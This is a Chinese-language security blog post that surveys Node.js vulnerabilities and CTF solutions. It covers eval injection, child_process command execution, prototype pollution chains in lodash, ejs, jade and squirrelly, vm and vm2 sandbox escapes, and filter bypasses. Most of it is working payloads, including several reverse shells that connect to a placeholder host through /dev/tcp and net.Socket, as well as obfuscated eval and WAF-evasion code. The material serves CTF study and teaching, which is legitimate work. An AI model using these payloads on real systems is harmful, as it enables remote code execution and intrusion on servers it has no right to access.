浅析NodeJS

前言

最近在看NodeJS的漏洞,进行相关总结。以下不对每一条链进行剖析,只给出相关利用方法。如果有错误,还请各位师傅指正。

NodeJS

介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。

Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。

Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好。

应用

  • 第一大类:用户表单收集系统、后台管理系统、实时交互系统、考试系统、联网软件、高并发量的web应用程序
  • 第二大类:基于web、canvas等多人联网游戏
  • 第三大类:基于web的多人实时聊天客户端、聊天室、图文直播
  • 第四大类:单页面浏览器应用程序
  • 第五大类:操作数据库、为前端和移动端提供基于json的API

Node JS特性

大小写特性

toUpperCase()是javascript中将小写转换成大写的函数。

但是它还有其他的功能。

"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

toLowerCase()是javascript中将大写转换成小写的函数。

同样。

"K".toLowerCase() == 'k'

p神:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

弱类型比较

console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false

数字与数字字符串比较时,数字型字符串会被强转之后比较。

字符串与字符串比较,比第一个ASCII码。

console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2');  //true
console.log([11,16]<"10"); //false

空数组比较为false。

数组之间比较第一个值,如果有字符串取第一个比较。

数组永远比非数值型字符串小。

console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN)  // 输出:false
console.log(NaN===NaN)  // 输出:false

变量拼接

console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

ES6模板字符串

我们可以使用反引号替代括号执行函数,可以用反引号替代单引号双引号,可以在反引号内插入变量。

但是有一点我们需要注意,模板字符串是将字符串作为参数传入函数中,而参数是一个数组,所以数组遇到${}时,字符串会被分割。

var yake = "daigua";
console.log("hello %s",yake);
图片[1]-浅析NodeJS-NGC660 安全实验室
var yake = "daigua";
console.log`hello${yake}world`;
图片[2]-浅析NodeJS-NGC660 安全实验室

其他

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

console.log(typeof(NaN))输出为number。

代码注入

SSJI 代码注入是一个存在于 javascript 端的代码注入,存在于运行于服务端的 js 代码注入,当传入的参数可控且没有过滤时,就会产生漏洞,攻击者可以利用 js 函数执行恶意 js 代码。

漏洞函数

eval()

javascript 的 eval 作用就是计算某个字符串,并执行其中的 js 代码。

var express = require("express");
var app = express();

app.get('/',function(req,res){
    res.send(eval(req.query.a));
console.log(req.query.a);
})

app.listen(1234);
console.log('Server runing at http://127.0.0.1:1234/');

这里的参数 a 通过 get 传参的方式传入运行,我们传入参数会被当作代码去执行。

process 的作用是提供当前 node.js 进程信息并对其进行控制。

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。

  1. spawn():启动一个子进程来执行命令。spawn (命令,{shell:true})。需要开启命令执行的指令。
  2. exec():启动一个子进程来执行命令,与spawn()不同的是其接口不同,它有一个回调函数获知子进程的状况。实际使用可以不加回调函数。
  3. execFile() :启动一个子进程来执行可执行文件。实际利用时,在第一个参数位置执行 shell 命令,类似 exec。
  4. fork():与spawn()类似,不同点在于它创建Node的子进程只需指定要执行的JavaScript文件模块即可。用于执行 js 文件,实际利用中需要提前写入恶意文件

区别:

  1. spawn()与exec()、execFile()不同的是,后两者创建时可以指定timeout属性,设置超时时间, 一旦创建的进程运行超过设定的时间将会被杀死。
  2. exec()与execFile()不同的是,exec()适合执行已有的命令,execFile()适合执行文件

settimeout()

settimeout(function,time),该函数作用是两秒后执行函数,function 处为我们可控的参数。

var express = require("express");
var app = express();

setTimeout(()=>{
  console.log("console.log('Hacked')");
},2000);

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

setinterval()

setinterval (function,time),该函数的作用是每个两秒执行一次代码。

var express = require("express");
var app = express();

setInterval(()=>{
  console.log("console.log('Hacked')");
},2000);


var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

function()

function(string)(),string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。

var express = require("express");
var app = express();

var aaa=Function("console.log('Hacked')")();

var server = app.listen(1234,function(){
    console.log("应用实例,访问地址为 http://127.0.0.1:1234/");
})

process 模块进行命令执行

exec

require('child_process').exec('calc');

execFile

require('child_process').execFile("calc",{shell:true});

fork

require('child_process').fork("./hacker.js");

spawn

require('child_process').spawn("calc",{shell:true});

反弹shell

require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令

文件操作

既然我们可以执行函数,那自然可以进行文件的增删改查。

操作函数后面有Sync代表同步方法。

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。

异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。

建议大家使用异步方法,比起同步,异步方法性能更高,速度更快,而且没有阻塞。

res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());

防御措施

最有效的措施是避免上述功能,同时全面了解第三方模块的代码库。例如,在上面展示的演示eval()容易受到攻击的场景的代码片段中,可以通过使用JSON.parse()实现同样的目标,同时降低风险。

话虽如此,在某些情况下,不仅可以避免易受攻击的函数,而且还需要将用户输入传递给它。在这些情况下,最好的方法是对输入进行验证和消毒。

可以通过已经标准化的函数或只允许特定字符或特定格式的白名单正则表达式来验证输入。

可以通过转义任何可以由脆弱函数解释的字符来完成消毒。大多数框架都已经有了安全清除用户输入的功能。

SQLi

node.js 的 sql 注入和 php 这些都差不多,都是缺少对特殊字符的验证,用户可控输入和原本执行的代码。

var mysql      = require('mysql');
var express = require("express");
const app = express();

var db = mysql.createConnection({
  host     :'localhost',
  user     :'root',
  password :'root',
  database :'test'
});

db.connect();

app.get('/hello/:id',(req,res)=>{
let sql=`select * from user where id= ${req.params.id}`;
    db.query(sql,(err,result)=>{
if(err){
    console.log(err);
res.send(err)
}else{
    console.log(result);
    res.send(result)
}
})
});

原型链污染

在此之前,可以看看JS的继承与原型链

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

原理

看完JS的继承与原型链,相必已经能猜到原型链污染是什么意思了。简单的说,就是我们控制私有属性(__proto__)指向的原型对象(prototype),将其的属性产生变更。那么所继承它的对象也会拥有这个属性。

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
图片[3]-浅析NodeJS-NGC660 安全实验室

Object1和Object2相当于都继承了Object.prototype,所以当我们对一个对象设置foo属性,就造成了原型链污染,倒置Object2也拥有了foo属性。

利用原型链污染,那我们需要设置__proto__的值,也就是需要找到能够控制数组(对象)的“键名”的操作。最常见的就是merge,clone,copy。

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

需要注意,只有在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

模块的污染各种各样,不能一一给出,只能给出具有代表性的几个。

lodash

Code-Breaking 2018 Thejs为例。

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

lodash.template
显式的lodashs.merge存在原型链污染漏洞,为了对其进行利用,需要找到可以对原型进行修改的逻辑。

options的sourceURL
options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。

JS当中每个函数都是一个Fuction对象,(function(){}).constructor === Function

var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody,可以执行我们的代码。

sourceURL传递到了Function函数的第二个参数当中,此处可以

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

通过构造chile_process.exec()就可以执行任意代码了

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

以下链不进行分析,给出相应题目和WP。

ejs

主要为两个函数的伪造。

opts.outputFunctionName

opts.escapeFunction

例一

test.js

var express = require('express');
var _= require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置
app.set('views', __dirname);

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("./test.ejs",{
        message: 'lufei test '
    });
});

//设置http
var server = app.listen(8081, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

test.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}
例二
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;    
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: 'login success!'});  
  }else{
    return res.json({ret_code: 2, ret_msg: 'login fail!'});  
  }

});

payload1:覆盖 opts.outputFunctionName , 这样构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE。

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}

payload2:伪造 opts.escapeFunction 也可以进行 RCE

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"}}}

补充: 在 ejs 模板中还有三个可控的参数, 分别为 opts.localsName 和 opts.destructuredLocals 和 opts.filename, 但是这三个无法构建出合适的污染链。

jade

compileDebug的伪造

给出上面题目的payload,可参考着看。

{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/1234 0>&1\"'))"}}
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

squirrelly

CVE-2021-32819

server.js

const express = require('express')
const squirrelly = require('squirrelly')
const app = express()

app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index.squirrelly', req.query)
})

var server = app.listen(3000, '0.0.0.0', function () {

    var host = server.address().address
    var port = server.address().port

    console.log("Listening on http://%s:%s", host, port)
});

index.squirrelly

<!DOCTYPE html>
<html>
    <head>
        <title>CVE-2021-32819</title>
        <h1>Test For CVE-2021-32819</h1>
    </head>
<body>
    <h1>{{it.variable}}</h1>
</body>
</html>

payload

/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('dir'); //

PS:以下贴出几篇文章,师傅们可以跟进分析:

https://www.aisoutu.com/a/1373814

https://cloud.tencent.com/developer/article/2035888

https://www.freebuf.com/vuls/276112.html

几个node模板引擎的原型链污染分析

VM沙箱逃逸

vm模块

vm 模块创建一个V8虚拟引擎 context(上下文、环境)来编译和运行代码。调用代码与被调用代码处于不同的 context,意味着它们的 global 对象是不同的。

const vm = require('vm');

// global下定义一个 x 变量
const x = 1;

// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context);          // 语境化 {x:2}

// code包含的代码将在 context 下执行,所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);

// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17

// global没有被改动
console.log(x); // 1; y is not defined.

逃逸

当使用vm创建一个context时,不能访问golbal对象,但是我们可以利用对象带有的constructor属性逃逸。

const vm = require("vm");
const env = vm.runInNewContext("this.constructor.constructor('return this.process.env')()");
console.log(env);

第一次调constructor得到Object Contrustor,第二次调constructor得到Function Contrustor,就是一个构造函数了。这里构造的函数内的语句为return this.process.env,那么控制process之后就能RCE了。

const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('dir').toString()`);
console.log(xyz);

vm2

var handler = {
    get () {
     console.log("get");
    }
  };
var target = {};
var proxy = new Proxy(target, handler);

Object.prototype.has = function(t, k){
    console.log("has");
}

proxy.a; //触发get
"" in proxy; //触发has,这个has是在原型链上定义的w
"use strict";

var process;

Object.prototype.has = function (t, k) {
    process = t.constructor("return process")();
};

"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()

关于vm2的逃逸这里不过多赘述,师傅们可以自行参考。

https://www.anquanke.com/post/id/207283

https://www.anquanke.com/post/id/207291

https://blog.csdn.net/anwen12/article/details/120445707

利用

大小写特性

题目来源于ctfhsow-web-334。

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);

  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }

      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  

});

module.exports = router;

发现name!=='CTFSHOW' && item.username === name.toUpperCase(),上面有说过转大写时ſ =>> S

这里直接用ctfſhow 123456登录就可以出flag了。

RCE

题目来源于ctfhsow-web-335。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CTFFSHOW</title>
    <script type="text/javascript" src="/javascripts/jquery.js"></script>
</head>
<body>
    where is flag?  
    <!-- /?eval= -->

</body>
</html>

直接利用eval读取目录文件。

/?eval=res.end(require('fs').readdirSync('.').toString())
图片[4]-浅析NodeJS-NGC660 安全实验室
/?eval=res.end(require('fs').readFileSync('./fl00g.txt').toString());

或者

require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

变量拼接/弱类型

题目来源于ctfhsow-web-337。

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

为了突出特性,不利用/?a[]=1&b=1

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
图片[5]-浅析NodeJS-NGC660 安全实验室

我们发现一个对象与字符串相加,输出不会有对象内容。

/?a[x]=1&b[x]=2

其他

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
    res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
    res.end(flag);
  }else{
    res.end('where is flag. :)');
  }
});

8c,2c,逗号都被过滤了。urlencode(",") = %2c 发现 2c 也被过滤。

上面有说过:nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

直接构造同名参数,绕过逗号,这里把 c进行url编码,是因为 双引号 的url编码是 %22,和 c 连接起来就是 %22c,会匹配到正则表达式。

NPUCTF2020-验证码

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = ['123ewqrqwwq']

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

function saferEval(str) {
    //let feng=str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
    //console.log(`replace: ${feng}`)
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    //console.log(`the code will be executed is :      ${str}`)
    return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
    return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
    name: 'PHPSESSION',
    keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
    let result = '';
    const results = req.session.results || [];
    const { e, first, second } = req.body;
    //console.log(e)
    //console.log(first)
    //console.log(second)
    if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
        if (req.body.e) {
            try {
                console.log("you can eval")
                result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
            } catch (e) {
                console.log(e);
                result = 'Wrong Wrong Wrong!!!';
            }
            results.unshift(`${req.body.e}=${result}`);
        }
    } else {
        results.unshift('Not verified!');
    }
    if (results.length > 13) {
        results.pop();
    }
    req.session.results = results;
    res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync('./test.js'));
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/html;charset=utf-8');
    req.session.admin = req.session.admin || 0;
    res.send(render(req.session.results = req.session.results || []))
});

app.listen(39123, '0.0.0.0', () => {
    console.log('Start listening')
});

第一层判断

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))

这里用之前讲过的变量拼接来绕过{"e":"2-1","first":"1","second":[1]}

然后就是 result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';

function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

这边过滤了很多。利用constructor这个构造函数属性可以拿到Function,然后正常rce。

Math=Math.constructor,
Math.constructor("return process.mainModule.require('child_process').execSync('dir').toString()")()

但是字符串是被过滤了的。这里进行字符串的拼接。

Function(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()

一般的箭头函数都是用{},但是因为这题只能用括号,而正好有用括号的语法,所以也可以用括号。

(Math=>
    (Math=Math.constructor,
            Math.constructor(
                Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
    )
)(Math+1)

再分析一波的话,就是首先一个箭头函数(()=>())()的自调用,传入的参数是Math+1,也就是一个字符串,字符串经过两次constructor同样是Function。

类似Function()()的格式,里面的函数也同样可以调用,成功执行代码,得到flag。

原型链污染

(一)

题目来源于ctfhsow-web-338。

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }


});

module.exports = router;

发现utils.copy(user,req.body);,可能会存在漏洞,接着看common.js。

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]             //漏洞产生点
        }
    }
  }

我们需要使得secert.ctfshow===’36dboy’,去拿flag。

这里的 secert 是一个数组,然后 utils.copy(user,req.body); 操作是 user 也是数组,也就是我们通过 req.body 即 POST 请求体传入参数,通过 user 污染数组的原型,那么 secert 数组找不到 ctfshow 属性时,会一直往原型找,直到在数组原型中发现 ctfshow 属性值为 36dboy 。那么 if 语句即判断成功,就会输出 flag 了。

{"__proto__": {"ctfshow": "36dboy"}}

还有一种解法:利用ejs模块RCE。

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/1234 0>&1\"');var __tmp2"}}

(二)

题目来源于ctfhsow-web-339。

login.js

if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

不能直接污染了。但是我们发现一个api.js。

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

当我们访问api.js时,可以调query的function,与上述p神出的题非常类似。写个测试代码看看。

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

user = {}
yake = "daigua"
body = JSON.parse('{"__proto__":{"query":"return yake"}}');
copy(user, body)

{ query: Function(query)(query)}
图片[6]-浅析NodeJS-NGC660 安全实验室

可以发现,query的功能为return “daigua”,在copy时,相当于给Object对象添加了query。那么,当然可以在这里构造一个函数,进行RCE。

有一点需要注意,require可能不会被识别,需要利用global.process.mainModule.constructor._load。

因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。

{"__proto__": {"query": "return (function(){
var net = global.process.mainModule.constructor._load('net'),
cp = global.process.mainModule.constructor._load('child_process'),
sh = cp.spawn('/bin/sh', []);
var client = new net.Socket();
client.connect(1234, 'xxxx', 
function({client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);});
        return /a/;})
        ();"
}
}

在login传入,然后访问api即可。当然也可以污染ejs模块RCE。

HFCTF2020-JustEscape

主页面提示在run.php中的code要进行编码才能运算。

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

js中捕获异常堆栈信息—Error().stack。传入 发现是vm2的沙盒逃逸。

直接用别人写的payload试试https://github.com/patriksimek/vm2/issues/225

const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}
图片[7]-浅析NodeJS-NGC660 安全实验室

毫无疑问,waf拦截下来了。

['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']

上面有讲过NodeJS的特性,可以用[${${prototyp}e}]代替prototype。

也可以[p,r,o,t,o,t,y,p,e]。

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

参考链接

https://tari.moe/2021/05/04/ctfshow-nodejs/

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.secforce.com/blog/server-side-javascript-injection/

https://www.wangan.com/p/7fygf340ff9cd58b

几个node模板引擎的原型链污染分析

https://blog.csdn.net/rfrder/article/details/115406785

https://xz.aliyun.com/t/7752

本文作者:yake-daigua

本文转载于先知社区,如有侵权请联系删除

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享